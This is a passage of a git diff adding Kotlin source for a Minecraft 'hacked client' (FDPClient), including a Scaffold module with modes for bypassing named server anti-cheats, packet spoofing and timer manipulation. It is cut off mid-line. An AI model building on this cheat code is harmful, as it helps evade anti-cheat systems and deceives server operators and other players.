if ((difference.y >= 0.0) and (difference.x < -1.0)) { + xz[0] = 1.0 + } + + if (difference.x >= 0.0 && difference.y > 0.0) { + } + + if (difference.y <= -1.0 && difference.x < -1.0) { + xz[0] = 1.0 + xz[1] = 1.0 + } + + return xz + } + + private val placeSide: EnumFacing + get() { + val playerPos = BlockPos(mc.thePlayer.posX, mc.thePlayer.posY - 0.5, mc.thePlayer.posZ) + if (playerPos == this.blockPos) { + println("Error") + } + + return if (playerPos.add(0, 1, 0) == this.blockPos) EnumFacing.UP else ((if (playerPos.add( + 0, + -1, + 0 + ) == this.blockPos + ) EnumFacing.DOWN else (if (playerPos.add( + 1, + 0, + 0 + ) == this.blockPos + ) EnumFacing.WEST else (if (playerPos.add( + -1, + 0, + 0 + ) == this.blockPos + ) EnumFacing.EAST else (if (playerPos.add( + 0, + 0, + 1 + ) == this.blockPos + ) EnumFacing.NORTH else (if (playerPos.add( + 0, + 0, + -1 + ) == this.blockPos + ) EnumFacing.SOUTH else (if (playerPos.add( + 1, + 0, + 1 + ) == this.blockPos + ) EnumFacing.WEST else (if (playerPos.add( + -1, + 0, + 1 + ) == this.blockPos + ) EnumFacing.EAST else (if (playerPos.add( + -1, + 0, + 1 + ) == this.blockPos + ) EnumFacing.NORTH else (if (playerPos.add( + -1, + 0, + -1 + ) == this.blockPos + ) EnumFacing.SOUTH else null)))))))))!!) + } + + fun click() { + if (this.block == null) { + this.block = mc.thePlayer.inventory.getCurrentItem() + } + + if (this.blockPos != null && mc.currentScreen == null) { + val lastItem: ItemStack = mc.thePlayer.inventory.getCurrentItem() + var itemstack: ItemStack = mc.thePlayer.inventory.getCurrentItem() + if (silentMode.get() != "None") { + this.slotID = InventoryUtils.findAutoBlockBlock() - 36 + if (slotID == -1) return + itemstack = mc.thePlayer.inventoryContainer.getSlot(this.slotID + 36).stack + block = itemstack + if (silentMode.get() == "Spoof" && this.lastSlotID != this.slotID) { + mc.netHandler.addToSendQueue(C09PacketHeldItemChange(slotID)) + } + } else { + this.slotID = mc.thePlayer.inventory.currentItem + this.lastSlotID = mc.thePlayer.inventory.currentItem + } + + val var26 = objectPosition + if (var26 != null) { + val var27 = var26.blockPos + if (var26.typeOfHit == MovingObjectPosition.MovingObjectType.BLOCK && mc.theWorld.getBlockState(var27) + .block.material !== Material.air + ) { + if (itemstack.item !is ItemBlock) { + return + } + + hitpoints.add(doubleArrayOf(var26.hitVec.xCoord, var26.hitVec.yCoord, var26.hitVec.zCoord)) + if (mc.thePlayer.posY < var27.y.toDouble() + 1.5) { + if (var26.sideHit != EnumFacing.UP && var26.sideHit != EnumFacing.DOWN) { + if (silentMode.get() == "Switch") { + mc.thePlayer.inventory.setCurrentItem(block!!.item, 0, false, false) + } + + if (mc.playerController.onPlayerRightClick( + mc.thePlayer, + mc.theWorld, + itemstack, + var27, + var26.sideHit, + var26.hitVec + ) + ) { + if (swing.get()) mc.thePlayer.swingItem() + else mc.netHandler.addToSendQueue(C0APacketAnimation()) + } + + if (itemstack.stackSize == 0) { + mc.thePlayer.inventory.mainInventory[this.slotID] = null + } + + MouseUtils.sendClickBlockToController( mc.currentScreen == null && mc.gameSettings.keyBindAttack.isKeyDown && mc.inGameHasFocus) + } + } else if ((var26.sideHit != EnumFacing.DOWN) && var26.blockPos == this.blockPos && mc.gameSettings.keyBindJump.isKeyDown) { + if (silentMode.get() == "Switch") { + mc.thePlayer.inventory.setCurrentItem(block!!.item, 0, false, false) + } + + if (mc.playerController.onPlayerRightClick( + mc.thePlayer, + mc.theWorld, + itemstack, + var27, + var26.sideHit, + var26.hitVec + ) + ) { + if (swing.get()) mc.thePlayer.swingItem() + else mc.netHandler.addToSendQueue(C0APacketAnimation()) + } + + if (itemstack.stackSize == 0) { + mc.thePlayer.inventory.mainInventory[this.slotID] = null + } + + MouseUtils.sendClickBlockToController(mc.currentScreen == null && mc.gameSettings.keyBindAttack.isKeyDown && mc.inGameHasFocus) + } + } + } + + if (silentMode.get() == "Switch") { + mc.thePlayer.inventory.setCurrentItem(lastItem.item, 0, false, false) + } + + this.lastSlotID = this.slotID + } + } + + @EventTarget + fun onEventStrafe(event: StrafeEvent) { + if (moveFix.get() && !event.isCancelled) { + event.cancelEvent() + var strafe: Float + strafe = event.strafe + var forward: Float = -event.forward + val friction: Float = event.friction + if (adStrafe.get() && strafe == 0f) { + val b = BlockPos(mc.thePlayer.posX, mc.thePlayer.posY - 0.5, mc.thePlayer.posZ) + if (mc.theWorld.getBlockState(b).block + .material === Material.air && mc.currentScreen == null && /*!Keyboard.isKeyDown(mc.gameSettings.keyBindJump.getKeyCodeDefault()) && */this.buildForward() && mc.thePlayer.movementInput.moveForward != 0.0f + ) { + strafe = if (mc.thePlayer.horizontalFacing === EnumFacing.EAST) { + if (b.z.toDouble() + 0.5 > mc.thePlayer.posZ) { + 0.98f + } else { + -0.98f + } + } else if (mc.thePlayer.horizontalFacing === EnumFacing.WEST) { + if (b.z.toDouble() + 0.5 < mc.thePlayer.posZ) { + 0.98f + } else { + -0.98f + } + } else if (mc.thePlayer.horizontalFacing === EnumFacing.SOUTH) { + if (b.x.toDouble() + 0.5 < mc.thePlayer.posX) { + 0.98f + } else { + -0.98f + } + } else if (b.x.toDouble() + 0.5 > mc.thePlayer.posX) { + 0.98f + } else { + -0.98f + } + if (mc.thePlayer.movementInput.sneak) { + strafe *= 0.3.toFloat() + } + + adTimeHelper.reset() + } + } + strafe = -strafe + var f = strafe * strafe + forward * forward + + if (!(f < 1.0E-4f)) { + f = MathHelper.sqrt_float(f) + + if (f < 1.0f) { + f = 1.0f + } + + f = friction / f + strafe *= f + forward *= f + val f1 = MathHelper.sin(RotationUtils.targetRotation!!.yaw * Math.PI.toFloat() / 180.0f) + val f2 = MathHelper.cos(RotationUtils.targetRotation!!.yaw * Math.PI.toFloat() / 180.0f) + mc.thePlayer.motionX += strafe * f2 - forward * f1 + mc.thePlayer.motionZ += forward * f2 + strafe * f1 + } + } + } + + @EventTarget + fun onEventJump(event: JumpEvent) { + if (event.isCancelled) return + if (moveFix.get()) { + // no sprint jump + event.cancelEvent() + mc.thePlayer.motionY = event.motion.toDouble() + mc.thePlayer.triggerAchievement(StatList.jumpStat) + } + } + + private fun setRotation() { + if (mc.currentScreen == null) { + RotationUtils.setTargetRotation(rots, 2) + } + } + + private fun buildForward(): Boolean { + val realYaw = MathHelper.wrapAngleTo180_float(mc.thePlayer.rotationYaw) + return realYaw.toDouble() > 77.5 && realYaw.toDouble() < 102.5 || (!(realYaw.toDouble() <= 167.5) || !(realYaw >= -167.0f) || (realYaw.toDouble() < -77.5 && realYaw.toDouble() > -102.5 || realYaw.toDouble() > -12.5 && realYaw.toDouble() < 12.5)) + } + + private val aimBlockPos: BlockPos? + get() { + val playerPos = BlockPos(mc.thePlayer.posX, mc.thePlayer.posY - 1.0, mc.thePlayer.posZ) + if ((mc.gameSettings.keyBindJump.isKeyDown || !mc.thePlayer.onGround) && (mc.thePlayer.moveForward == 0.0f) && (mc.thePlayer.moveStrafing == 0.0f) && this.isOkBlock( + playerPos.add(0, -1, 0) + ) + ) { + return playerPos.add(0, -1, 0) + } else { + var blockPos: BlockPos? = null + val bp = this.getBlockPos() + val blockPositions = ArrayList<BlockPos>() + if (bp.isNotEmpty()) { + for (i in 0 until min(bp.size.toDouble(), 18.0).toInt()) { + blockPositions.add(bp[i]) + } + + blockPositions.sortWith(Comparator.comparingDouble { blockPos: BlockPos -> + this.getDistanceToBlockPos( + blockPos + ) + }) + if (blockPositions.isNotEmpty()) { + blockPos = blockPositions[0] + } + } + + return blockPos + } + } + + private fun getBlockPos(): ArrayList<BlockPos> { + val playerPos = BlockPos(mc.thePlayer.posX, mc.thePlayer.posY - 1.0, mc.thePlayer.posZ) + val blockPoses = ArrayList<BlockPos>() + + for (x in playerPos.x - 2..playerPos.x + 2) { + for (y in playerPos.y - 1..playerPos.y) { + for (z in playerPos.z - 2..playerPos.z + 2) { + if (this.isOkBlock(BlockPos(x, y, z))) { + blockPoses.add(BlockPos(x, y, z)) + } + } + } + } + + if (blockPoses.isNotEmpty()) { + blockPoses.sortWith(Comparator.comparingDouble { blockPos: BlockPos -> + mc.thePlayer.getDistanceSq( + blockPos.x.toDouble() + 0.5, + blockPos.y.toDouble() + 0.5, + blockPos.z.toDouble() + 0.5 + ) + }) + } + + return blockPoses + } + + private fun getDistanceToBlockPos(blockPos: BlockPos): Double { + var distance = 1337.0 + + var x = blockPos.x.toFloat() + while (x <= (blockPos.x + 1).toFloat()) { + var y = blockPos.y.toFloat() + while (y <= (blockPos.y + 1).toFloat()) { + var z = blockPos.z.toFloat() + while (z <= (blockPos.z + 1).toFloat()) { + val d0: Double = mc.thePlayer.getDistanceSq(x.toDouble(), y.toDouble(), z.toDouble()) + if (d0 < distance) { + distance = d0 + } + z = (z.toDouble() + 0.2).toFloat() + } + y = (y.toDouble() + 0.2).toFloat() + } + x = (x.toDouble() + 0.2).toFloat() + } + + return distance + } + + private fun isOkBlock(blockPos: BlockPos): Boolean { + val block: Block = mc.theWorld.getBlockState(blockPos).block + return block !is BlockLiquid && block !is BlockAir && block !is BlockChest && block !is BlockFurnace + } + + @EventTarget + fun onEventRender3D(event: Render3DEvent?) { + if (esp.get() && this.blockPos != null) { +// GL11.glEnable(3042); +// GL11.glBlendFunc(770, 771); +// GL11.glEnable(2848); +// GL11.glDisable(2929); +// GL11.glDisable(3553); +// GlStateManager.disableCull(); +// GL11.glDepthMask(false); + val red = 0.16470589f + val green = 0.5686275f + val blue = 0.96862745f + // final RenderManager renderManager = mc.getRenderManager(); +// float lineWidth = 0.0F; +// if(this.blockPos != null) { +// if(mc.thePlayer.getDistance(this.blockPos.getX(), this.blockPos.getY(), this.blockPos.getZ()) > 1.0D) { +// double d0 = 1.0D - mc.thePlayer.getDistance(this.blockPos.getX(), this.blockPos.getY(), this.blockPos.getZ()) / 20.0D; +// if(d0 < 0.3D) { +// d0 = 0.3D; +// } +// +// lineWidth = (float)((double)lineWidth * d0); +// } +// GL11.glLineWidth(lineWidth); +// GL11.glColor4f(red, green, blue, 0.39215687F); +// +// RenderUtils.drawFilledBox(new AxisAlignedBB(this.blockPos.getX() - renderManager.getRenderPosX(), this.blockPos.getY() - renderManager.getRenderPosY(), this.blockPos.getZ() - renderManager.getRenderPosZ(), this.blockPos.getX() + 1 - renderManager.getRenderPosX(), this.blockPos.getY() + 1 - renderManager.getRenderPosY(), this.blockPos.getZ() + 1 - renderManager.getRenderPosZ())); +// } +// +// GL11.glColor4f(1.0F, 1.0F, 1.0F, 1.0F); +// GL11.glDepthMask(true); +// GlStateManager.enableCull(); +// GL11.glEnable(3553); +// GL11.glEnable(2929); +// GL11.glDisable(3042); +// GL11.glBlendFunc(770, 771); +// GL11.glDisable(2848); + RenderUtils.drawBlockBox(this.blockPos, Color(red, green, blue, 0.39215687f), false) + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/world/scaffold/Scaffold.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/world/scaffold/Scaffold.kt new file mode 100644 index 0000000..5044e31 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/world/scaffold/Scaffold.kt @@ -0,0 +1,1476 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.world.scaffold + +import net.ccbluex.liquidbounce.FDPClient +import net.ccbluex.liquidbounce.event.* +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo +import net.ccbluex.liquidbounce.features.module.modules.movement.Speed +import net.ccbluex.liquidbounce.features.module.modules.movement.StrafeFix +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.ccbluex.liquidbounce.features.value.FloatValue +import net.ccbluex.liquidbounce.features.value.IntegerValue +import net.ccbluex.liquidbounce.features.value.ListValue +import net.ccbluex.liquidbounce.injection.access.StaticStorage +import net.ccbluex.liquidbounce.ui.font.Fonts +import net.ccbluex.liquidbounce.ui.i18n.LanguageManager +import net.ccbluex.liquidbounce.utils.* +import net.ccbluex.liquidbounce.utils.block.BlockUtils +import net.ccbluex.liquidbounce.utils.block.BlockUtils.isReplaceable +import net.ccbluex.liquidbounce.utils.block.PlaceInfo +import net.ccbluex.liquidbounce.utils.block.PlaceInfo.Companion.get +import net.ccbluex.liquidbounce.utils.extensions.drawCenteredString +import net.ccbluex.liquidbounce.utils.extensions.rayTraceWithServerSideRotation +import net.ccbluex.liquidbounce.utils.render.RenderUtils +import net.ccbluex.liquidbounce.utils.timer.MSTimer +import net.ccbluex.liquidbounce.utils.timer.TickTimer +import net.ccbluex.liquidbounce.utils.timer.TimeUtils +import net.minecraft.block.BlockAir +import net.minecraft.client.gui.ScaledResolution +import net.minecraft.client.renderer.GlStateManager +import net.minecraft.client.renderer.RenderHelper +import net.minecraft.client.settings.GameSettings +import net.minecraft.init.Blocks +import net.minecraft.item.Item +import net.minecraft.item.ItemBlock +import net.minecraft.item.ItemStack +import net.minecraft.network.play.client.* +import net.minecraft.network.play.client.C03PacketPlayer.C04PacketPlayerPosition +import net.minecraft.stats.StatList +import net.minecraft.util.* +import org.lwjgl.input.Keyboard +import java.awt.Color +import kotlin.math.* + +@ModuleInfo(name = "Scaffold", category = ModuleCategory.WORLD, keyBind = Keyboard.KEY_V) +class Scaffold : Module() { + + // Block place + private val placeOptions = BoolValue("Placement-Options", true) + + private val placeableDelayValue = ListValue("PlaceableDelay", arrayOf("Normal", "Smart", "OFF"), "Normal").displayable { placeOptions.get() } + private val placeDelayTower = BoolValue("PlaceableDelayWhenTowering", true).displayable { placeOptions.get() } + private val maxDelayValue: IntegerValue = object : IntegerValue("MaxDelay", 0, 0, 1000) { + override fun onChanged(oldValue: Int, newValue: Int) { + val i = minDelayValue.get() + if (i > newValue) set(i) + } + }.displayable { !placeableDelayValue.equals("OFF") && placeableDelayValue.displayable } as IntegerValue + private val minDelayValue: IntegerValue = object : IntegerValue("MinDelay", 0, 0, 1000) { + override fun onChanged(oldValue: Int, newValue: Int) { + val i = maxDelayValue.get() + if (i < newValue) set(i) + } + }.displayable { !placeableDelayValue.equals("OFF") && placeableDelayValue.displayable } as IntegerValue + + private val swingValue = ListValue("Swing", arrayOf("Normal", "Packet", "None"), "Normal").displayable { placeOptions.get() } + private val searchValue = BoolValue("Search", true).displayable { placeOptions.get() } + private val searchDistanceValue = IntegerValue("SearchDistance", 1, 1, 5).displayable { placeOptions.get() && searchValue.get() } + private val downValue = BoolValue("Down", false).displayable { placeOptions.get() } + private val placeModeValue = ListValue("PlaceTiming", arrayOf("All", "Pre", "Post"), "All").displayable { placeOptions.get() } + + private val sameYValue = ListValue("SameY", arrayOf("Simple", "AutoJump", "WhenSpeed", "JumpUpY", "MotionY", "Hypixel", "Telly", "TellyUp", "OFF"), "WhenSpeed").displayable { placeOptions.get() } + private val hitableCheckValue = ListValue("HitableCheck", arrayOf("Simple", "Strict", "OFF"), "Simple").displayable { placeOptions.get() } + private val expandLengthValue = IntegerValue("ExpandLength", 1, 1, 6).displayable { placeOptions.get() } + private val noExpandOnTowerValue = BoolValue("NoExpandOnTower", false).displayable { placeOptions.get() && expandLengthValue.get() > 1} + + + // Movement + private val moveOptions = BoolValue("Movement-Options ", true) + + private val sprintValue = ListValue("Sprint", arrayOf("Always", "Dynamic", "OnGround", "OffGround", "Alternating", "Hypixel", "HypixelSkywars", "HypixelFast", "Vulcan", "OFF"), "Always").displayable { moveOptions.get() } + + private val safeWalkValue = ListValue("SafeWalk", arrayOf("Ground", "Air", "OFF"), "Ground").displayable { moveOptions.get() } + private val eagleValue = ListValue("Eagle", arrayOf("Silent", "Normal", "Legit", "Off"), "Off").displayable { moveOptions.get() } + private val eaglelegitvalue = IntegerValue("LegitEagle-Ticks", 30, 0, 1000).displayable { eagleValue.equals("Legit") } + private val eaglelegitpacketvalue = BoolValue("LegitEagle-Silent", false).displayable { eagleValue.equals("Legit") } + private val blocksToEagleValue = IntegerValue("BlocksToEagle", 0, 0, 10).displayable { !eagleValue.equals("Off") && !eagleValue.equals("Legit") && eagleValue.displayable } + private val edgeDistanceValue = FloatValue("EagleEdgeDistance", 0f, 0f, 0.5f).displayable { !eagleValue.equals("Off") && !eagleValue.equals("Legit") && eagleValue.displayable } + + private val timerValue = FloatValue("Timer", 1f, 0.1f, 5f).displayable { moveOptions.get() } + private val motionSpeedEnabledValue = BoolValue("MotionSpeedSet", false).displayable { moveOptions.get() } + private val motionSpeedValue = FloatValue("MotionSpeed", 0.15f, 0.05f, 0.5f).displayable { motionSpeedEnabledValue.get() && motionSpeedEnabledValue.displayable } + private val speedModifierValue = FloatValue("SpeedModifier", 1f, 0f, 2f).displayable { moveOptions.get() } + + + // Tower + private val towerModeValue = ListValue( + "TowerMode", arrayOf( + "Legit", "Jump", + "Motion", "Motion2", "Motion3", + "ConstantMotion", "PlusMotion", "StableMotion", + "MotionTP", "MotionTP2", + "Packet", "Teleport", + "AAC3.3.9", "AAC3.6.4", "AAC4.4Constant", "AAC4Jump", + "Matrix6.9.2", + "Verus", + "NCP", + "Vulcan", + "WatchDog" + ), "MotionTP2" + ).displayable { moveOptions.get() } + private val stopWhenBlockAboveValue = BoolValue("StopTowerWhenBlockAbove", true).displayable { moveOptions.get() } + private val towerFakeJumpValue = BoolValue("TowerFakeJump", true).displayable { moveOptions.get() } + private val towerActiveValue = ListValue("TowerActivation", arrayOf("Always", "PressSpace", "NoMove","OnlyMove", "OFF"), "PressSpace").displayable { moveOptions.get() } + private val towerTimerValue = FloatValue("TowerTimer", 1f, 0.1f, 5f).displayable { moveOptions.get() } + + + // Jump mode + private val jumpMotionValue = FloatValue("TowerJumpMotion", 0.42f, 0.3681289f, 0.79f).displayable { towerModeValue.equals("Jump") && towerModeValue.displayable } + private val jumpDelayValue = IntegerValue("TowerJumpDelay", 0, 0, 20).displayable { towerModeValue.equals("Jump") && towerModeValue.displayable } + + // Stable/PlusMotion + private val stableMotionValue = FloatValue("TowerStableMotion", 0.42f, 0.1f, 1f).displayable { towerModeValue.equals("StableMotion") && towerModeValue.displayable } + private val plusMotionValue = FloatValue("TowerPlusMotion", 0.1f, 0.01f, 0.2f).displayable { towerModeValue.equals("PlusMotion") && towerModeValue.displayable } + private val plusMaxMotionValue = FloatValue("TowerPlusMaxMotion", 0.8f, 0.1f, 2f).displayable { towerModeValue.equals("PlusMotion") && towerModeValue.displayable } + + // ConstantMotion + private val constantMotionValue = FloatValue("TowerConstantMotion", 0.42f, 0.1f, 1f).displayable { towerModeValue.equals("ConstantMotion") && towerModeValue.displayable } + private val constantMotionJumpGroundValue = FloatValue("TowerConstantMotionJumpGround", 0.79f, 0.76f, 1f).displayable { towerModeValue.equals("ConstantMotion") && towerModeValue.displayable } + + // Teleport + private val teleportHeightValue = FloatValue("TowerTeleportHeight", 1.15f, 0.1f, 5f).displayable { towerModeValue.equals("Teleport") && towerModeValue.displayable } + private val teleportDelayValue = IntegerValue("TowerTeleportDelay", 0, 0, 20).displayable { towerModeValue.equals("Teleport") && towerModeValue.displayable } + private val teleportGroundValue = BoolValue("TowerTeleportGround", true).displayable { towerModeValue.equals("Teleport") && towerModeValue.displayable } + private val teleportNoMotionValue = BoolValue("TowerTeleportNoMotion", false).displayable { towerModeValue.equals("Teleport") && towerModeValue.displayable } + + + private val rotOptions = BoolValue("Rotation-Options ", true) + + // Rotations + private val testRotationsValue = BoolValue("TestRotations", false).displayable { rotOptions.get() } + private val rotationsValue = ListValue("Rotations", arrayOf("None", "Better", "Vanilla", "AAC", "Static1", "Static2", "Custom", "Advanced", "Backwards", "Snap", "BackSnap"), "AAC").displayable { rotOptions.get() } + private val towerrotationsValue = ListValue("TowerRotations", arrayOf("None", "Better", "Vanilla", "AAC", "Static1", "Static2", "Custom", "Advacned"), "AAC").displayable { rotOptions.get() } + + private val advancedYawModeValue = ListValue("AdvancedYawRotations", arrayOf("Offset", "Static", "RoundStatic", "Vanilla", "Round", "MoveDirection", "OffsetMove", "RoundMoveDir"), "MoveDirection").displayable { (rotationsValue.equals("Advanced") || towerrotationsValue.equals("Advanced")) && rotationsValue.displayable} + private val advancedPitchModeValue = ListValue("AdvancedPitchRotations", arrayOf("Offset", "Static", "Vanilla", "Backwards"), "Static").displayable { advancedYawModeValue.displayable && rotationsValue.displayable } + private val advancedYawOffsetValue = IntegerValue("AdvancedOffsetYaw", -15, -180, 180).displayable { advancedYawModeValue.displayable && advancedYawModeValue.equals("Offset") && rotationsValue.displayable } + private val advancedYawMoveOffsetValue = IntegerValue("AdvancedMoveOffsetYaw", -15, -180, 180).displayable { advancedYawModeValue.displayable && advancedYawModeValue.equals("Offset") && rotationsValue.displayable } + private val advancedYawStaticValue = IntegerValue("AdvancedStaticYaw", 145, -180, 180).displayable { advancedYawModeValue.displayable && (advancedYawModeValue.equals("Static") || advancedYawModeValue.equals("RoundStatic")) && rotationsValue.displayable } + private val advancedYawRoundValue = IntegerValue("AdvancedYawRoundValue", 45, 0, 180).displayable { advancedYawModeValue.displayable && (advancedYawModeValue.equals("Round") || advancedYawModeValue.equals("RoundStatic") || advancedYawModeValue.equals("RoundMoveDir")) && rotationsValue.displayable } + private val advancedPitchOffsetValue = FloatValue("AdvancedOffsetPitch", -0.4f, -90f, 90f).displayable { advancedYawModeValue.displayable && advancedPitchModeValue.equals("Offset") && rotationsValue.displayable } + private val advancedPitchStaticValue = FloatValue("AdvancedStaticPitch", 82.4f, -90f, 90f).displayable { advancedYawModeValue.displayable && advancedPitchModeValue.equals("Static") && rotationsValue.displayable } + + private val aacYawValue = IntegerValue("AACYawOffset", 0, 0, 90).displayable { rotationsValue.equals("AAC") && rotationsValue.displayable } + private val customYawValue = IntegerValue("CustomYaw", -145, -180, 180).displayable { (rotationsValue.equals("Custom") || rotationsValue.equals("Better")) && rotationsValue.displayable } + private val customPitchValue = FloatValue("CustomPitch", 82.4f, -90f, 90f).displayable { rotationsValue.equals("Custom") && rotationsValue.displayable } + private val customtowerYawValue = IntegerValue("CustomTowerYaw", -145, -180, 180).displayable { towerrotationsValue.equals("Custom") || towerrotationsValue.equals("Better") && towerrotationsValue.displayable } + private val customtowerPitchValue = FloatValue("CustomTowerPitch", 79f, -90f, 90f).displayable { towerrotationsValue.equals("Custom") && towerrotationsValue.displayable } + private val static2BoostValue = BoolValue("Static2StrafeBoost", true).displayable { rotationsValue.equals("Static2") && rotationsValue.displayable } + private val silentRotationValue = BoolValue("SilentRotation", true).displayable { !rotationsValue.equals("None") && rotationsValue.displayable } + private val minRotationSpeedValue: IntegerValue = object : IntegerValue("MinRotationSpeed", 80, 0, 180) { + override fun onChanged(oldValue: Int, newValue: Int) { + val v = maxRotationSpeedValue.get() + if (v < newValue) set(v) + } + }.displayable { !rotationsValue.equals("None") && rotationsValue.displayable } as IntegerValue + private val maxRotationSpeedValue: IntegerValue = object : IntegerValue("MaxRotationSpeed", 100, 0, 180) { + override fun onChanged(oldValue: Int, newValue: Int) { + val v = minRotationSpeedValue.get() + if (v > newValue) set(v) + } + }.displayable { !rotationsValue.equals("None") && rotationsValue.displayable } as IntegerValue + private val keepLengthValue = IntegerValue("KeepRotationTick", 1, 0, 20).displayable { !rotationsValue.equals("None") && rotationsValue.displayable } + + private val bypassOptions = BoolValue("Bypass-Options ", true) + + private val autoBlockValue = ListValue("AutoBlock", arrayOf("Spoof", "LiteSpoof", "Switch", "OFF"), "Spoof").displayable { bypassOptions.get() } + + private val zitterModeValue = ListValue("ZitterMode", arrayOf("Teleport", "Smooth", "OFF"), "OFF").displayable { bypassOptions.get() } + private val zitterSpeedValue = FloatValue("ZitterSpeed", 0.13f, 0.1f, 0.3f).displayable { !zitterModeValue.equals("OFF") && zitterModeValue.displayable } + private val zitterStrengthValue = FloatValue("ZitterStrength", 0.072f, 0.05f, 0.2f).displayable { !zitterModeValue.equals("OFF") && zitterModeValue.displayable } + + private val extraClickValue = ListValue("ExtraClick", arrayOf("EmptyC08", "AfterPlace", "RayTrace", "OFF"), "OFF").displayable { bypassOptions.get() } + private val extraClickMaxDelayValue: IntegerValue = object : IntegerValue("ExtraClickMaxDelay", 100, 20, 300) { + override fun onChanged(oldValue: Int, newValue: Int) { + val i = extraClickMinDelayValue.get() + if (i > newValue) set(i) + } + }.displayable { !extraClickValue.equals("OFF") && extraClickValue.displayable } as IntegerValue + private val extraClickMinDelayValue: IntegerValue = object : IntegerValue("ExtraClickMinDelay", 50, 20, 300) { + override fun onChanged(oldValue: Int, newValue: Int) { + val i = extraClickMaxDelayValue.get() + if (i < newValue) set(i) + } + }.displayable { !extraClickValue.equals("OFF") && extraClickValue.displayable } as IntegerValue + + private val moveFixValue = BoolValue("StrafeFix", false).displayable { bypassOptions.get() } + + + // Visuals + private val renderOptions = BoolValue("Render-Options", true) + + private val counterDisplayValue = ListValue("Counter", arrayOf("FDP", "Rise", "Simple"), "FDP").displayable { renderOptions.get() } + private val markValue = BoolValue("Mark", false).displayable { renderOptions.get() } + private val markRedValue = IntegerValue("MarkColorRed", 68, 0, 255).displayable { markValue.get() && markValue.displayable } + private val markGreenValue = IntegerValue("MarkColorGreen", 117, 0, 255).displayable { markValue.get() && markValue.displayable } + private val markBlueValue = IntegerValue("MarkColorBlue", 255, 0, 255).displayable { markValue.get() && markValue.displayable } + + /** + * MODULE + */ + + private var progress = 0f + private var lastMS = 0L + + + // Target block + private var targetPlace: PlaceInfo? = null + + // Last OnGround position + private var lastGroundY = 0 + + // Rotation lock + private var lockRotation: Rotation? = null + + // Zitter Smooth + private var zitterDirection = false + + // Delay + private var placing = false + private val delayTimer = MSTimer() + private val zitterTimer = MSTimer() + private val clickTimer = MSTimer() + private val towerTimer = TickTimer() + private var delay: Long = 0 + private var clickDelay: Long = 0 + private var lastPlace = 0 + + // Eagle + private var placedBlocksWithoutEagle = 0 + private var eagleSneaking = false + + // Down + private var shouldGoDown = false + private var jumpGround = 0.0 + private var towerStatus = false + private var canSameY = false + private var lastPlaceBlock: BlockPos? = null + private var afterPlaceC08: C08PacketPlayerBlockPlacement? = null + + //Other + private var doSpoof = false + + + //NCP + private var offGroundTicks: Int = 0 + + // WATCHDOG + private var wdTick = 0 + private var wdSpoof = false + private var hypixelPlaceTicks = false + + // update event fix + private var lastTick = 0 + + //prevItem + private var prevItem = 0 + + /** + * Enable module + */ + override fun onEnable() { + prevItem = mc.thePlayer.inventory.currentItem + doSpoof = false + if (mc.thePlayer == null) return + lastGroundY = mc.thePlayer.posY.toInt() + lastPlace = 2 + wdTick = 5 + clickDelay = TimeUtils.randomDelay(extraClickMinDelayValue.get(), extraClickMaxDelayValue.get()) + delayTimer.reset() + zitterTimer.reset() + clickTimer.reset() + hypixelPlaceTicks = false + } + + /** + * Update event + * + * @param event + */ + @EventTarget + fun onUpdate(event: UpdateEvent) { + // if(!mc.thePlayer.onGround) tolleyStayTick=0 + // else tolleyStayTick++ + // if(tolleyStayTick>100) tolleyStayTick=100 + if (towerStatus && towerModeValue.get().lowercase() != "aac3.3.9" && towerModeValue.get().lowercase() != "aac4.4constant" && towerModeValue.get().lowercase() != "aac4jump") mc.timer.timerSpeed = towerTimerValue.get() + if (!towerStatus) mc.timer.timerSpeed = timerValue.get() + + + + + if (lastTick == mc.thePlayer.ticksExisted) return + lastTick = mc.thePlayer.ticksExisted + + if (sprintValue.equals("Vulcan")) { + mc.netHandler.addToSendQueue(C0BPacketEntityAction(mc.thePlayer, C0BPacketEntityAction.Action.START_SPRINTING)) + mc.netHandler.addToSendQueue(C0BPacketEntityAction(mc.thePlayer, C0BPacketEntityAction.Action.STOP_SPRINTING)) + } + + + if (towerStatus || mc.thePlayer.isCollidedHorizontally) { + canSameY = false + lastGroundY = mc.thePlayer.posY.toInt() + } else { + when (sameYValue.get().lowercase()) { + "simple" -> { + canSameY = true + } + "telly", "tellyup" -> { + canSameY = sameYValue.equals("Telly") + if (MovementUtils.isMoving() && mc.thePlayer.onGround) { + mc.thePlayer.isSprinting = true + mc.thePlayer.jump() + } + } + "autojump" -> { + canSameY = true + if (MovementUtils.isMoving() && mc.thePlayer.onGround) { + mc.thePlayer.jump() + } + } + "motiony" -> { + canSameY = true + if (MovementUtils.isMoving() && mc.thePlayer.onGround) mc.thePlayer.motionY = 0.42 + } + "jumpupy" -> { + canSameY = false + if (MovementUtils.isMoving() && mc.thePlayer.onGround) { + mc.thePlayer.jump() + } + } + "whenspeed" -> { + canSameY = FDPClient.moduleManager[Speed::class.java]!!.state + } + "hypixel" -> { + canSameY = true + if (MovementUtils.isMoving() && mc.thePlayer.onGround) { + hypixelPlaceTicks = false + mc.thePlayer.jump() + } else { + hypixelPlaceTicks = true + } + } + else -> { + canSameY = false + } + } + if (mc.thePlayer.onGround) { + lastGroundY = mc.thePlayer.posY.toInt() + } + } + + if (clickTimer.hasTimePassed(clickDelay)) { + fun sendPacket(c08: C08PacketPlayerBlockPlacement) { + if (clickDelay < 35) { + mc.netHandler.addToSendQueue(c08) + } + if (clickDelay < 50) { + mc.netHandler.addToSendQueue(c08) + } + mc.netHandler.addToSendQueue(c08) + } + when (extraClickValue.get().lowercase()) { + "emptyc08" -> sendPacket(C08PacketPlayerBlockPlacement(mc.thePlayer.inventory.getCurrentItem())) + "afterplace" -> { + if (afterPlaceC08 != null) { + if (mc.thePlayer.getDistanceSqToCenter(lastPlaceBlock) <10) { + sendPacket(afterPlaceC08!!) + } else { + afterPlaceC08 = null + } + } + } + "raytrace" -> { + val rayTraceInfo = mc.thePlayer.rayTraceWithServerSideRotation(5.0) + if 